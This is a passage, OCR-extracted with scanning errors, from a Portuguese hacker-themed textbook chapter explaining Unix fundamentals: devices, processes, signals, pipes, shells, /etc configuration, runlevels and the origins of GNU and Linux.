Num exame menos simplificado, vemos que os programas acessam funes disponveis nas bibliotecas do sistema. Semelhantes s DLLs dos sistemas Windows, as bibliotecas compartilhadas (shared objects ou so) dos sistemas Unix permitem que vrios programas compartilhem as mesmas caractersticas. A diferena a maior opo de escolha. O Unix um sistema muito mais modular do que qualquer outro. Isso significa que o programador tem muitas opes de biliotecas para basear seus programas. Um exemplo a interface grfica. No Windows ela encontra-se em uma nica biblioteca (GDI.DLL).J no Unix temos diversos toolkits grficos, todos eles "encaixveis" no servidor X. O mais famoso o Motif, mas h muitos outros. como o GTK,o Qt e o Tk. Seja diretamente ou atravs das bibliotecas, os processos emitem system calls para o kerne1, solicitando alguma coisa. No kerne1 h rotinas para controle desses processos (escalonamento, comunicao e memria) e para acessar os recursos do sistema por meio do sistema de arquivos.

Dispositivos
Os dispositivos do sistema presentes em /dev so arquivos especiais que se comunicam com o hardware. Melhor dizendo, so representaes (imagens) dos dispositivos em formato de arquivo. Toda a discusso sobre interrupt handlers que tivemos no captulo sobre o Windows vale para os sistemas Unix tambm. Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS em sistemas baseados em hardware PC.Todas as funes originalmente a cargo da BIOS(excetuando-se a inicializao da mquina) so implementadas no kerne1. Outras plataformas de hardware sequer possuem algo parecido com uma BIOSde PC e, portanto, a implementao dessas funes no kernel obrigatria. Lembram-se de como os dispositivos eram acessados no Windows, por meio de device drivers e VxDs? No Unix, obviamente, tambm h device drivers. Mas ao contrrio do Windows, os drivers so mdulos do kerne1. Tais mdulos podem ser tanto compilados no prprio kerne1 de maneira monoltica como carregados sob demanda na memria, se forem compilados como autnomos. A reside a diferena radical entre a abordagem microkerne1 do Windows e a de kerne1 monoltico do Unix. Os arquivos de dispositivo presentes no /dev comunicam-se com os device drivers - e, portanto, com o prrpio kernel, que se encarrega de controlar o hardware para o qual o driver foi escrito. Os nomes dos dispositivos so organizados de forma simples. Normalmente um grupo de duas a quatro letras e, opcionalmente, nmeros. Por exemplo, o primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema Linux o /dev!hda, o segundo o /dev!hdb. Em um Solaris, os mesmos discos esto representados pelos arquivos /dev/dsk/cOtOdO e cOtldO. H trs tipos de dispositivos: de bloco, de caracter e de interfaces de rede. Os dispositivos orientados a caractere (character devices ou, ainda, char devices)

1951
I

Plataforma

Unix

I Universidade

H4CK3R

so aqueles que podem ser acessados como um arquivo comum. Voc pode escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers que implementam esses dispositivos aceitam ser manipulados por funes primitivas como open(), close(), read() e write( ).Alguns exemplos so as portas seriais, o teclado e o mouse. bvio que h diferenas entre os dispositivos de caractere e um arquivo comum. Se for criado um arquivo comum e, dentro dele, for gravada a frase "Hey Beavis, I'm a Unix string!", possvel recuperar essa frase toda vez que o arquivo for lido. Um char device, por outro lado, apenas um canal de comunicao entre o espao do usurio e o dispositivo. O que for enviado por meio do /dev tratado pelo hardware e no pode mais ser recuperado. Quando se tenta ler do dispositivo, o que se obtm so os dados que o mesmo est enviando ao sistema de arquivos naquele momento, no os gravados anteriormente. Os dispositivos orientados a bloco (b10ck devices), por outro lado, s podem ser acessados por meio de grandes pacotes de informao. Normalmente encerram em si componentes nos quais possvel guardar sistemas de aquivos, como HDs, disquetes e CD-ROMs.Um disco rgido, na maioria dos sistemas Unix, s pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo, apenas 128 bytes no disco, ser usado um bloco de 1 Kbyte (1024 bytes) para tal. Os b10ck devices possuem, por isso mesmo, uma velocidade de transferncia (throughput) muito maior do que os dispositivos de caractere.Tambm por transferirem grandes quantidades de dados, podem contar com uma rea de transferncia auxiliar (buffer) do tipo cache, que aumenta ainda mais o throughput. O ltimo tipo de dispositivo presente no /dev so as chamadas interfaces de rede. Em sistemas Linux, so representadas no /dev por ethO para a primeira placa, ethl para a segunda e assim por diante. Em um sistema HP-UX,que usa placas Intel, as interfaces foram chamadas de itlO, itll, etc. H dispositivos de rede que so puro software. Dois exemplos so o loopback (interface 10), que direciona o trfego de rede para a prpria mquina (endereo 127.0.0.0), e os sockets de comunicao do servidor X Window. As interfaces de rede so, no fundo, dispositivos orientados a caractere, embora especializados. Em algumas implementaes, os dispositivos SCSIso considerados como um quarto tipo de dispositivo,embora sejam,na prtica, dispositivos de bloco.

Processos (no, isso no papo de advogado)


Em um sistema Unix, os processos so as entidades mais importantes. Alm dos programas do usurio, todos os servios e servidores que rodam em um computador com Unix se baseiam em um ou mais processos. Uma mquina Unix pode conter, entre outras coisas, um servidor Web, um banco de dados, um servidor de e-mailsou uma rdio on-tine. Cada um desses servios chamado de daemon e dispara um ou mais processos identificados por nmeros nicos em todo o sistema. Cada processo possui seu nmero de identificao exclusivo. O servidor Web do exemplo possui diversos processos apenas para se manter "no ar", e

1961
Plataforma Unix I

Universidade 1ano

cada conexo de um browser de Internet a alguma pgina desse servidor cria mais um processo. fcil perceber que num arranjo como esse h sistemas Unix com milhares de processos simultneos. O primeiro processo gerado por um programa qualquer chamado de pai. Cada um dos processos gerados por esse pai chamado de filho. Como h vrios nveis de processos, podemos dizer que um processo sempre ftlho de outro mais primitivo e pode ele mesmo ser pai de outros processos mais novos. H duas maneiras de iniciar um processo.A primeira a mais trivial:o usurio emite um comando no prompt e o shell transforma esse comando em um processo. Mas h a possibilidade (ou antes, a necessidade) de iniciar processos automaticamente. Na inicializaodo Unix, o keme1, assim que carregado, trata de iniciar o primeiro processo: o init. Ele o pai de todos os outros processos gerados a partir de ento. O init finaliza o procedimento de boot carregando as configuraes do sistema e inicializandotodos os daemons referentes aos servios que a mquina deve oferecer. Alguns desses daemons so servios de rede, como e-mail (SMTP)e Web (HTIP). Tais servios "escutam" a rede espera de solicitaes vindas de outros computadores. Por exemplo, um servio HTTP espera que computadores com browsers de Internet conectem-se a ele. Caso a conexo seja estabelecida, o daemon correspondente envia ao navegador do outro computador a pgina solicitada. interessante notar que esses servios esperam continuamente por conexes, o que significa que consomem recursos da mquina mesmo quando ociosos. Para evitar isso, os servios menos requisitados podem ser agrupados em um superservidor chamado inetd, que aguarda por conexes a diversos servios. Caso um desses servios seja solicitado, o inetd carrega o daemon necessrio. Quando a conexo acaba, o inetd descarrega o daemon da memria.

~
I IpeloINETO

[~iI~~j ~~:~!~J

Os processos comunicam-se entre si por meio de sinais e emitem requisies ao sistema operacional atravs das chamadas de sistema ou system caIls. H diversos sinais e chamadas padronizadas pela norma POSIX.

Sempre "escutam" a rede espera de conexes

Ei, poderia me fazer um favor?

Sempre que um processo precisa de alguma coisa do computador, emite uma chamada de sistema ao kernel. As tarefas que as aplicaes pedem ao kernel podem ser de acesso a perifricos, solicitao CPU para "fazer uma conta" ou requisio de mais memria. Existem dezenas de system caIls. As mais bsicas so fork, exec e wait. A fork cria um processo ftlho que um done do processo pai: tem as mesmas caractersticas, trabalha com os mesmos arquivos j abertos (embora possa abrir outros novos s para si) e, o mais importante, pertence ao

1971
I

Plataforma

Unix

I Universidade

H4CK3R I

mesmo programa que gerou o processo pai. As nicas diferenas so o nmero de identificao de cada processo e o nmero de identificao do processo pai. J a chamada exec transfere o controle da CPU para outro processo ou programa. Os arquivos que estavam abertos para o programa original so redirecionados para os processos gerados pelo novo programa. Usando ambas as chamadas nessa ordem (fork depois exec), um processo cria um ftlho e transfere o comando para ele. Quando o processo ftlho completar sua tarefa, envia os resultados do processamento ao pai. A dupla fork+exec, entretanto, no evita que o processo pai continue rodando. Para que o processo pai entre em hibernao e espere parado o trmino do processo ftlho, usa-se a chamada de sistema wait. Como o processo pai est dormindo, no entra no time sharing da mquina e, portanto, economiza reursos. O processo pai s voltar aos ciclos de processamento da mquina quando o processo ftlho deixar de existir ou, no jargo tcnico, "morrer". Um exemplo prtico a linha de comando ou shell. Imagine que o usurio digitou um comando e o shell ficou congelado, sendo liberado somente depois de o comando ser fmalizado. Nesse caso, o she11emitiu uma chamada wait para o comando do usurio. Se por outro lado o usurio emitir um comando e, apesar de o programa ainda estar rodando, o prompt aparecer imediatamente, indcio de que o she11no usou a chamada de sistema wait.

Comunicao entre processos


H casos em que, em vez de solicitarem alguma coisa ao SO,os processos necessitem comunicar-se uns com os outros. Uma das formas possveis a comunicao entre processos pai e filhos. O processo pai pode, por exemplo, fazer uma chamada de sistema ptrace para rastrear possveis bugs de programao no processo filho. Outro exemplo de comunicao entre processos so os pipes ou dutos. Pipes so uma maneira de o prprio usurio determinar a ligao entre a sada de um processo e a entrada de outro. Isso feito na linha de comando, com o caractere I (que, no por acaso, chama-se pipe...) . Observe o comando a seguir:
$ ps -e
I

grep netscape

Esse comando toma a sada do primeiro programa (ps -e) e o joga na entrada do segundo programa (grep netscape). Observe que os dutos tm uma peculiaridade: apenas ligam processos oriundos do mesmo pai. No caso acima, os comandos ps e grep so "irmos", ftlhos do mesmo shell. Um terceiro mtodo de os processos se comunicarem atravs dos IPCMFsou
Inter Process Communication Message Facilities. Os IPCMFs nada mais so do que filas.

Existem processos transmissores, que so autorizados a colocar mensagens na fila, e processos receptores, que obviamente os retiram. Um exemplo de implementao de IPCMFs so os sPOOlsde impresso. Vrios programas e usurios possuem permisso para escrever na fila de impresso, e possvel que vrias impressoras (e seus device drivers) "puxem" documentos para serem impressos por elas.
198 I Plataforma Unix I

Universidade 1ano

Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os sinais. So mensagens muito simples que um processo envia a outro. Apenas processos ativos podem enviar sinais. Como apenas um processo pode estar ativo em um dado momento - a no ser que o sistema possua vrios pocessadores -, um sinal certamente vai acordar o processo destino, que obviamente est suspenso. Quando um processo suspenso volta atividade, o kerne1 verifica se existe algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providncias: ignorar o sinal, entreg-Io ao processo destinatrio ou captur-Io. Quando um sinal capturado, o sistema executa uma de suas rotinas de tratamento de sinal, que varia de acordo com a natureza do mesmo. Origina1mente, eram considerados 22 sinais.Segundo o padro POSIX.1,hoje, h 31 sinaisdiferentes,cada um solidtando uma ao espefica no processo destino. So eles:
N INOME 1 2 3 4 SIGHUP SIGINT SIGQUlT SIGILL

SIGNIFICADO Desliga o processo devido morte do processo pai Processo interrompido pelo teclado Fecha o processo e o descarrega da memria Informa que o processo fez uma operao ilegal

5
6

SIGTRAP *
SIGEMT *
SIGFPE

Trace/breakpoint trap SIGIOT/SIGABRT Aborta processo

- para

rastreamento

de bugs (System V)

7
8

SIGKILL

10 SIGBUS * 11 SIGSEGV 12 SIGSYS * 13 SIGPIPE 14 SIGALRM 15 SIGTERM 16 SIGUSR1 17 SIGUSR2 18 SIGCLD 19 SIGPWR * 20 SIGWINCH * 21 SIGURG * 22 SIGIO * 23 SIGSTOP

EMTTrap (System V) Exceo (erro) em ponto flutuante Encerra ("mata") o processo - no pode ser ignorado Acesso memria defeituosa (System V) Referncia invlida memria (segmentation fault) Chamada de sistema com argumento errado (System V) Duto quebrado: no h processo recebendo os dados Despertador originrio do comando C "alarm" Encerra o processo- pode ser ignorado Sinal definido pelo usurio Sinal defmido pelo usurio "Morte" de um processo ftlho Queda de energia (System V) Redimensiona janela (BSD 4.3 e Sun) Condio urgente no 'socket' (BSD 4.2) E/S possvel agora (BSD 4.2) Congela processo

1991
1

Plataforma

Unix

I Universidade

H4CK3R I

24 25 26 27

SIGTSTP SIGCONT SIGTTIN SIGTTOUT

28 29 30 31

SIGVTALRM * SIGPROF * SIGXCPU * SIGXFSZ*

Stop digitado no terminal TIY Mantm congelado Obtm dados do terminal para processo em segundo plano Processo em segundo plano entrega dados ao terminal Despertador virtual (BSD 4.2) Sinal "Proftling Timer Expired" (System V) Tempo de CPU excedido (BSD 4.2) Tamanho do arquivo excedido (BSD 4.2)

A tabela considera os sinais POSIX.l em arquitetura RISC MIPS.Arquiteturas Alpha, Sparc, i386 (PC) e PowerPC possuem alguns valores diferentes. Por exemplo, para i386 e Sparc o sinal 16 SIGSTKFLT- falha no coprocessador. Sinais marcados com asterisco (*) so apenas parte da implementao GNU/Linux no so padro POSIX.l e tm sua origem indicada entre parnteses. Consulte man 7 signals em seu sistema para informaes mais detalhadas e visite o site (www.unix-systems.org) para saber mais sobre o novo padro POSIX.2. Os sinais so trocados entre os processos em andamento. possvel forar manualmente o envio de um sinal a partir do shell com o comando kill. O nome do comando no nem um pouco apropriado, pois ele no usado apenas para enviar SIGTERM ou SIGKILL (ou seja, matar o processo). Qualquer sinal pode ser enviado pelo comando kill. Exemplo de utilizao:
$ kill -9 27536

Esse comando envia o sinal 9 (SIGKILL)ao processo 27536. Quando o nmero do sinal no especificado, o sistema assume o valor 15. Alm de sinais e mensagens simples, possvel dizer a um processo para guardar estruturas de dados muito mais complexas. Usando uma poro de memria chamada memria compartilhada, os processos ativos podem, atravs de system calls, armazenar dados que sero utilizados posteriormente por outros processos. Para impedir que outros processos alterem os dados antes que o processo gerador tenha terminado de mexer neles, so usadas entidades chamadas semforos, que bloqueiam o acesso quela posio de memria at haver liberao. No objetivo deste livro entrar em detalhes sobre teoria ou particularidades sobre desenvolvimento de software, sinais e chamadas de sistema. Entretanto, sua obrigao conhec-Ios! Para mais informaes, consulte a norma POSIX do Single Unix SpeciJication(wwwunix-systems.org) Tambm deveras educativo escolher um sabor qualquer de Unix e buscar as especificaes do fabricante. Um bom sistema para isso o Linux, por ter todo o seu cdigo aberto ao pblico em geral e, portanto, no preciso pedir permisso ou pagar taxas a ningum para isso.Alm disso, o Linux roda em PCs comuns - voc pode estudar no seu computador pessoal.

1100

Plataforma Unix I

Universidade 1 ano

Na praia catando mexilhes


Tudo bem, eu sei que o que voc queria estar fazendo agora. Mas estamos aqui para ser "hackers", no? Isso implica em no ter mais noites de sono, ser anti-social e passar as frias trancado em casa tentando invadir aquele site... Brincadeiras parte, pelo shell que o usurio diz para o kerne1:"Ei, abra um processo a para o meu programa". Se voc tivesse de dizer isso diretamente, teria muita dificuldade - a comunicao com o kernel no l muito inteligvel. O shell trabalha ento como um intrprete entre a lngua que falamos e a "linguagem" do computador7. No incio deste captulo usamos alguns comandos para "navegar pelo sistema de arquivos". Mas o shell no um simples interpretador de comandos. Entre

os recursos mais importantes, est o encadeamento de comandos, ou piping.


H algumas pginas, vimos que o encadeamento de comandos uma das formas de comunicao entre os processos e que pode ser disparado pelo usurio por meio do caractere I. Usando diversos pipes, um comando de apenas uma linha pode fazer com que um arquivo ou pedao de informao seja processado por vrios programas seqencialmente. A sada de um programa "flui pelo duto e desemboca" na entrada do programa seguinte. Por exemplo, considere o seguinte comando:
$ Is
I

grep b

sort -r

tee arqsaida I wc -1

O comando ls lista o contedo do diretrio. Em vez de mostrar na tela, o pipe joga a sada de ls para o comando grep b, que filtra os nomes de arquivos que contenham a letra b. Em seguida, a sada do grep jogada no comando sort -r, que classifica os nomes em ordem decrescente. A sada do sort inserida no tee, que divide os dados em dois como se fosse uma conexo em T ou "benjamim".As informaes do sort vo ser gravadas no arquivo "arqsada" e, simultaneamente, so passadas ao comando wc -1,que conta o nmero de linhas. Como resultado desse comando, temos impresso na tela a quantidade de arquivos que contm a letra b, e no arquivo "arqsada" temos gravados os nomes desses arquivos. Esse exemplo vai alm de demonstrar a possibilidade de encadeamento. O Unix foi pensado desde o comeo como um sistema que tivesse ferramentas pequenas, mas poderosas e ultra-especializadas. Tais ferramentas podem ser combinadas para formar uma ferramenta maior e mais complexa para executar uma determinada tarefa. Com isso, evita-se a "reinveno da roda" , pois usando-se blocos bsicos de construo - como num Lego (tm) - reaproveita-se o trabalho j existente. Essa viso difere radicalmente da "maneira Windows" de fazer as coisas: programas grandes que renem a maioria das funes que o usurio possa precisar. No Unix, menos mais.
7 Qualquer ambiente grfico no Unix pode ser considerado "um shell sobre o shell.., portanto, o raciocnio aqui descrito ainda vlido. A grosso modo todos os processos gerados dentro do ambiente grfico so filhos ou descendentes do servidor X, da mesma forma que os processos gerados pelo shell so filhos do mesmo shell.
1101 1

Plataforma

Unix

I Universidade H4CK3R I

Minha coleo de conchas


H diversos shells disponveis para o usurio. Cada implementao do Unix adota a que mais convm ao fabricante ou ao destino a ser dado ao sistema. Normalmente so distribudos trs shells com os Unix comerciais: Bourne, Korn e C Shell. Mais recentemente, os sistemas tambm incluem a verso GNU do Bourne Shell, chamada de Bourne Again Shell ou Bash. Todos eles suportam manipulao de processos, redirecionamento e piping, caractersticas comuns em um sistema Unix. Mas, obviamente, cada um tem suas particularidades. Desenvolvido em 1975 por S. R. Bourne, o Bourne Shell foi um dos primeiros a serem implementados e serviu como referncia aos que vieram depois. Simplificava sobremaneira a operao do Unix, que at ento calcava-se num shell muito primitivo. Mas ainda era muito simples, embora por isso mesmo seja, at hoje, o menor em tamanho e o mais rpido. A evoluo do Bourne Shell foi o C Shell,desenvolvido pelo ento professor BillJoy.O C Shell implementou o histrico de comandos (se voc j digitou, no precisa digitar de novo, basta procurar na lista), o alias (permite atribuir apelidos curtos a longos comandos com diversos pipes) e controle de processos em foreground e backgound. Mas a maior caracteristica do C-Shell a sintaxe dos comandos, muito parecida com a do C, facilitando sobremaneira a criao de shell scripts. Recentemente, foi desenvolvido o TC Shell ou Turbo C Shell, com melhorias na interatividade da reedio de comandos. Um mrido dos dois anteriores foi o Korn Shell, desenvolvido por David Korn da AT&T.Ele tenta ser uma alternativa coerente, implementando as caractersticas positivas de ambos os shells anteriores e eliminando as conflitantes. O Bash a reimplementao do projeto GNU para o Bourne Shell e recebeu diversas melhorias na reedio de linha de comando, embora mantendo as mesmas caractersticas do antecessor com relao a scripts. Falamos algumas vezes em shell scripts nos ltimos pargrafos. Mas o que ser isso?

Script for a jester's tear8


o shell , primariamente, um interpretador de comandos que responde interativamente aos estmulos do usurio, mas tambm permite criar um arquivo com uma lista de comandos que sero executados seqencialmente. Com um pouco de prtica, possvel transformar essas "listas de comandos" em programas teis que executam tarefas muito complexas. Um programador tarimbado pode implementar com shell scripts qualquer servio em uma mquina Unix, inclusive com acesso de baixo nvel a hardware, sem precisar conhecer C ou Assembly. Consulte (no CD) os apndices sobre programao. H uma parte especial sobre shell script. Sugerimos tambm que o leitor aprofunde-se nisso. Um bom hacker transita com galhardia pelos Unix shell scripts. A Internet est repleta de sites sobre o assunto, basta procurar no seu site de buscas favorito. No CD esto includos alguns tutoriais. Pratique! importante!
8 lbum de estria da banda britnica de rock Marillion, lanado em 1980.
1102 I

Plataforma Unix [

Universidade 1ano

Todos os segredos esto no /etc9


De todos os tesouros escondidos nas entranhas dos sistemas Unix, alguns dos mais valiosos esto nesse diretrio: nele que todas as configuraes so mantidas. Vimos no captulo 3 que o Microsoft Windows possui uma entidade chamada Registro e que todo o sistema gira em torno dele. O assunto tomou grande parte do captulo anterior. Em se tratando de Unix, h mais a se falar sobre o sistema de arquivos, shell e processos do que sobre o /dev. Embora seja a chave da operao do sistema - na prtica, quase tudo o que um administrador de sistemas precisa saber est a -, o /etc to simples de ser entendido que, como conjunto, no h muito o que se falar sobre ele. As configuraes esto guardadas em arquivos de texto puro humanamente legveis. Os autores vem essa abordagem com melhores olhos quando confrontados com o paradigma do Registro no Windows. Mas, como tudo, tambm h algumas desvantagens nessa abordagem. A maioria delas advm da falta de padres, que faz com que o Unix da lliM, o AIX,seja muitssimo diferente do Unix da Sun, o Solaris,por exemplo. Ao contrrio do Windows, em que o registro gravado normalmente em dois a cinco arquivos, no Unix cada aspecto do sistema possui um arquivo diferente, normalmente pequeno e de contedo simples. Bom para a modularidade do sistema, ruim para a operao: so dezenas de arquivos padronizados e centenas de outros que so dependentes da implementao. bvio que esse cenrio menos complicado que a organizao das HKEYSno Wmdows, mas ainda assim amedrontador. Como bnus, os sistemas Unix nos livram das malditas chaves CLSID - parausar um programa como servidor de um script basta usar as APIs, amplamente documentadas, muito mais simples e em lngua humana. Como demrito, a j citada falta de padres fora os usurios a especializar seus scripts mais complexos, pois no funcionaro da mesma forma em todas as implementaes.

Inittab and the RunLeveLs (parece banda de rock, mas no ...)


Logo aps o boot, o kernel inicia o primeiro processo, pai de todos, o init. A primeira providncia do init ler sua tabela descritiva, armazenada em /dev/ inittab. Esse arquivo informa ao init onde esto os daemons que devem ser inicializados, quais os scripts que contm as tarefas do processo init, quantos e quais terminais sero ativados e algumas "armadilhas" (traps) para sinais do sistema, tratando-os com a rotina correta. O inittab tambm informa o processo init a respeito dos nveis de execuo (ou runlevels) do sistema. Runlevels so diferentes nveis nos quais o Unix pode operar, e indicam quais servios devem ser iniciados pelo init e quais devem ser fmalizados. Um runlevel mais baixo indica que h menos servios rodando, um mais alto significa muitos daemons sendo inicializados. Examinando um sistema Red Hat Linux, encontramos seis runlevels:
9 Ttulo reproduzido com a permisso da Revista do Linux.
1103
1

Plataforma

Unix

I Universidade

H4CK3R

encerra suas atividades e desliga I - Monousurio 2 - Multiusurio 3 - Multiusurio com servios de rede 4 - No usado 5 - XII: o mesmo que 3, mas em modo grfico 6 - Reboot: o sistema encerra suas atividades e reinicia Cada sabor de Unix tem sua prpria configurao de runlevels, e mesmo diferentes distribuies Linux possuem esquemas diversos. Por exemplo, num Slackware Linux e num HP-UXo nvel de execuo da parte grfica 4 e no 5. Quando o init criado, o kernel passa a ele em qual runlevel o sistema deve funcionar. Se essa informao no for passada, o prprio inittab informa qual o valor default. possvel mudar o nvel de execuo durante a operao do Unix com o comando init n, em que n nmero do runlevel para o qual queremos "ir". Note que os nveis de execuo so meramente listas ordenadas de processos a serem iniciados ou [malizados. Quando voc "passa" do runlevel 3 para o 5 (com o comando init 5), por exemplo, vrios processos do runlevel 3 so terminados antes que os do runlevel 5 sejam inicializados. E note tambm que o usurio pode, manualmente, chamar programas no previstos nesse nvel. Estando em runlevel 3 (modo texto) o usurio pode chamar o servidor X e trabalhar em um ambiente grfico. Ele no precisou deixar o nvel 3 e entrar no 5 para isso. Tenha em mente que os runlevels so meios de facilitar a administrao do que ser inicializado quando voc liga a mquina. Fazendo um paralelo com o antigo MS-DOS,pense neles como uma srie de arquivos AUTOEXEC.BAT, cada um iniciando uma gama diferente de programas. Todos os daemons inicializveisno boot possuem um script no diretrio init.d. Na maioria dos sistemas Linux este diretrio est no /etc, nos outros sabores de Unix isso varia bastante. No HP-UX,por exemplo, tais scripts esto em /bin/init.d. Eles carregam e descarregam o daemon na memria, fornecem o estado de execuo do programa, recarregam as configuraes do mesmo sem parar o processamento tudo depende do parmetro passado ao script - e podem ser executados manualmente pelo superusurio, caso queira parar ou iniciar algum servio. Mas so usados principalmente para a inicializao automtica pelo esquema de runlevels. H um outro conjunto de diretrios chamados de rcN.d, sendo N o nmero do nvel de execuo. Os servios a serem inicializados no runlevel3, por exemplo, esto em rc3.d. A localizao desse conjunto de diretrios tambm varia muito entre os diferentes sabores de Unix. Podem estar em /etc, /etc/init.d, /sbin ou /bin. Dentro do diretrio rcN.d h diversos links simblicos. Pense nos links simblicos (ou symlinks) como os atalhos do Windows: entidades que apontam para o arquivo verdadeiro. Os nomes do symlinks desses diretrios tm a seguinte estrutura: 104
I

o - Halt: o sistema

Plataforma Unix I

Universidade

ano

Xnnnnome_do_daemon

X pode ser uma de duas letras: S ou K. S indica ao processo init que o daemon tem de ser inicializado quando se entra naquele runlevel, e K indica que o daemon tem de ser terminado ao sair do runlevel. nnn um grupo de trs algarismos que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas GNU/Unux usam apenas dois algarismos. O nome_do_daemon serve apenas para identificar o symlink. Um exemplo prtico. O servidor de e-mail sendmail tem de ser inicializado quando entramos no nvel 3. Para tanto, h um symlink apontando para init.d/sendmail: S980sendmail Isso indica ao processo init para inicializar o sendmail na posio 980 (ou seja, depois que os servios com nmeros menores j estiverem inicializados). Quando o Unix deixa o runlevel3 (no desligamento da mquina, por exemplo), o link simblico correspondente - tambm apontando para init.d/sendmail - : K120sendmail indicando ao init para desligar o sendmail na posio 120, depois que todos os processos com numerao mais alta que 120 j tiverem sido terminados. Cada sabor de Unix possui um inittab e um esquema de runlevels que, apesar de semelhantes, so diferentes. Sugerimos ao leitor que vasculhe esses arquivos em todos os Unix que estiverem mo, comparando-os entre si. No se atenha apenas ao inittab: visite todos os arquivos indicados nele.

Outras gemas
O /etc encerra arquivos de configurao importantes, muitos deles de aspectos j tratados neste captulo. No nosso objetivo ser uma fonte completa de informaes sobre Unix - na verdade, este livro apenas arranha a superfcie. Mas uma pesquisa mais aprofirndada no contedo do diretrio ser de grande valia para o leitor. Como no h muito segredo em visualizar arquivos de texto, deixamos ao leitor o nus de descobrir como e para que servem cada um dos arquivos presentes no /etc.Abaixo h uma lista com os arquivos relevantes na maioria dos "sabores". Interrompa a leitura do livro por uma semana e estude-os todos, consultando sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services protocols inetd.conf/xinetd.conf crontab profile bashrc cshrc shrc passwd/group/shadow hosts host.conf

1105

] Plataforma

Unix

I Universidade

resolv.conf inittab fstab (vfstab no Solaris) mtab ld.so.conf netgroup netmasks termcap/printcap/screenrc toda a estrutura abaixo de init.d toda a estrutura abaixo de rc.d toda a estrutura abaixo de sysconfig

Dica: em vez de cat, use para visualizar os arquivos o comando more, que mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o 1ess ao invs do more - com ele possvel retroceder a pginas anteriores.

H vrios "sabores" comerciais de Unix, cada um deles com suas qualidades e problemas - entre eles o preo. Como ento saber qual Unix o melhor para voc? Esta uma pergunta dificil de ser respondida. Normalmente, o melhor Unix o que voc j usa, ou o que voc est mais acostumado. Outras vezes o melhor Unix o que j vem configurado de fbrica, s ligar e usar. Outras ainda dependem do preo baixo. Como so produtos proprietrios, joga-se de acordo com essas regras. Seu representante tcnico seu melhor amigo nessa hora. Mash opes de sistemasUnixa quem chamamos de livres.Sosistemasoperacionais parecidos com o Unix, mas cujo cdig~fonte aberto - qualquer um pode l-loe saber como funciona. So normalmente mantidos por voluntrios ou empresas engajadas na produo de um sistemaque seja independente de fornecedor. Novamente, h vantagens e desvantagens. Dentr<.fas vantagens, existe a certeza de que o produto no possui falhas - e se houver, voc mesmo pode corrigi-las.Mas voc tem certeza de que elas no esto escondidas, um triste ato de m-f de algumas empresas de tecnologia por a... Outra vantagem o alto grau de personalizao que um sistema desses oferece. Sendo aberto, qualquer um pode modific-lo para atender a seus interesses. A desvantagem fica por conta dos paradigmas gerados pelo modelo tradicional de negcios, sendo garantia e suporte os mais comentados. Isso resolvido em parte por empresas que vendem solues baseadas nesses sistemas, mas ainda um mercado no consolidado e h muitos amadores solta. At que se separe o joio do trigo, muitos tero perdido dinheiro com eles - e erradamente colocaro a culpa no software.

o meu eu quero de flocos...

1106

1 Plataforma Unix r

Universidade 1 ano

Free as in free speech...


Nos primrdios da computao, no havia essa noo de software aberto ou proprietrio porque todos os programas podiam ser livremente compartilhados. Os usurios de informtica de ento eram quase todos cientistas, e o compartilhamento de informaes algo trivial entre eles. O dinheiro do mercado de informtica circulava apenas para as mos dos fabricantes de hardware. Mas, medida que o tempo foi passando, apareceram empresas produtoras de software destinado venda. Obviamente no era do interesse dessas empresas que seus softwares fossem copiados e distribudos gratuitamente, portanto o cdigo-fonte no era divulgado. Isso passou a ser comum a partir de ento. Richard Stallman era um programador que trabalhava para uma empresa privada. Ocorre que escreveu um programa que achou realmente bom e quis compartilh-lo com a comunidade Unix de ento - mas foi impedido pelo seu empregador. Stallmann ficou to frustrado que radicalizou: pediu demisso e, em 1984, criou um projeto - o GNU - e uma licena - a GPL. O projeto GNUlO- GNU's Not Unix - uma tentativa de criar um clone dos sistemas Unix que Stallmann usava, mas que no possuam nenhum cdigo original da AT&T. J foram criadas diversas ferramentas para o sistema, incluindo as de manipulao de arquivos (1s,cd, pwd, caL.), compiladores (gcc e g77, para C e Fortran, respectivamente) e programas complexos como a linguagem de scripts gawk e o editor de textos Emacs. O kemel, entretanto, nunca ficou pronto. A licena GPL - General Public Licence ou Licena Pblica Geral - expressamente permite a cpia e a distribuio gratuita do programa sob essa licena, desde que os cdigos-fonte do programa sejam distribudos tambm. Isso permite a reutilizao do cdigo por outras pessoas sem restries - a no ser a de respeitar os direitos dos autores originais e nunca fechar o cdigo resultante, impedindo que outros tenham acesso a ele. Detalhes sobre o que Software Livre e o que Cdigo Aberto encheriam todas as pginas deste livro. Nosso objetivo no versar sobre esse assunto. Mais informaes podem ser obtidas no site oficial do projeto GNU (www.gnu.org). da Free Software Foundation (www.fsf.org) e do Open Source Initiative (www.opensource.org).

A dana dos pingins


Como vimos, o projeto GNU empacou no desenvolvimento de seu prprio keme1. Nesse meio tempo, um finlands maluco chamado Linus Torvalds criava um kernel que seria um fenmeno mundial: o Linux. Inicialmente apenas um sistema de comunicao com um BBS,o prottipo rapidamente evoluiu para

10 Depois do GNU, virou moda criar programas cujos nomes sejam siglas recorrentes. O smbolo do projeto GNU um animal encontrado na frica e parecido com um biso, cujo nome ... Gnu.
1107 I

] Plataforma

Unix

I Universidade

H4CK3R I

um kerne1 completo. Em 1991,Torvalds decidiu colocar o Linux sobre a licena GPL e usar as ferramentas GNU com seu kernel. por isso que os preciosistas do mundo da computao (eu me incluo neste grupo!) referem-se ao sistema como GNU/Linux - seria injusto com o Sr. Stallman se no fosse assim. O Linux hoje um Unix-clone de baixssimo custo e altssimo desempenho. Projetado inicialmente para o lliM-PC,roda em vrias plataformas de hardware com o
mesmo cdigo e funcionalidade

- feito ainda no alcanado por nenhum outro

